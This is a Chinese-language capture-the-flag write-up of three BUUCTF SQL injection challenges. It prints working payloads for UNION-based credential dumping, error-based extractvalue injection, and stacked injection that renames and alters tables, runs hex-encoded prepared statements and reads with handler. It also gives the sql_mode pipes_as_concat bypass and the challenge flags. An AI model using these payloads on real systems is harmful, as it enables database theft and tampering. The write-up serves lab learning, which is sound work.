原来靶场不是最折磨的,新手做ctf才是
我一共做了三题,先来讲里面最简单的题吧
看见一个登录框,先尝试注入,发现会报错,而且不过滤# ,于是就开始常规操作
1' union select 1,database(),2 #
成功得到数据库 geek
然后后面就是背公式了
select group_concat(table_name) from information_schema.tables where table_schema="geek"
这样就能成功得到两个表 geekuser l0ve1ysq1
继续我们的poc
select 1,2,group_concat(column_name) from information_schema.columns where table_schema="geek" and table_name="l0ve1ysq1"
得到三个字段 id username password
脱裤,脱库
select 1,2,(select group_concat(username,"~",password) from l0ve1ysq1 )--+
最后的flag
flag{bd4b50b7-78a5-4efa-bfcd-ceec222b6cba}
反手判断一个注入类型 ,单引号报错 即字符型注入
所以开始poc构造
extractvalue(1,concat(0x7e,(database()),0x7e))
得到当前数据库名字 supersqli
但是当我想故技重施的时候发现,他把select 都过滤了
于是就想没得操作了啊??? 但是好像还有一个堆叠注入没试过 试试就逝世
1’;show tables;
';show columns from words ;
';show columns from `1919810931114514` ; 这个字段记得要用反引号括起来
看起来flag在 “1919810931114514” 表里面 然后
没有show value in flag 这种的东西的啊 然后就不会了
于是就去借鉴别人的了(如有侵权,请联系删除) 有三种方法
1';rename table words to BaiMao;rename table 1919810931114514 to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
这个就是将word表随便改给名字 并且将一串数字的表改成word ,并且添加一个自增的主键 并且将flag的长度改为100 因为原来的查询就是将 word表里面的值查询出来,这样就实现了偷天换日
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
其中就是将select *from where `
1919810931114514`进行十六进制编码
有以下poc
';handler `1919810931114514` open;handler `1919810931114514` read next;
flag{ffe62566-f7eb-4ce9-88b8-76b0996ffae7}
这个可以说是三题里面最难的了,输入一个1 会出现这个
输入一个"会出现一个这个(nonono)
我们先去试一下 show tables 和show databases
又和上一题一样,没有show values in Flag 这种东西啊 而且编码和handler都用不了
于是又去翻了一下别人的WP
原来别人是把源码猜出来了
这里就要普及一个知识先 如果查询的 select 中含有 || 只要有一个为真 那么它都会返回1(与值无关)
所以这就是为什么我们无论输入什么数字返回都会是1 而字符的话就报错 但是没有返回
所以它的源码就应该是(结合它的说法)
select $_POST['query'] || flag from flag
所以就是要看我们怎么绕过
于是就可以想办法把 ||绕过 于是就可以这样写 就能拿到flag
*,1
flag{68dfdaf4-a5d5-4f7e-9548-757ae12926ea}
当然了,还看到大佬的做法是这样,这个就厉害了,通过设置模式,将|| 变成concat函数
1;set sql_mode=pipes_as_concat;select 1
也是能得到相同的结果的,涨芝士了
以上就是被BUUCTF折磨一天之后的WP了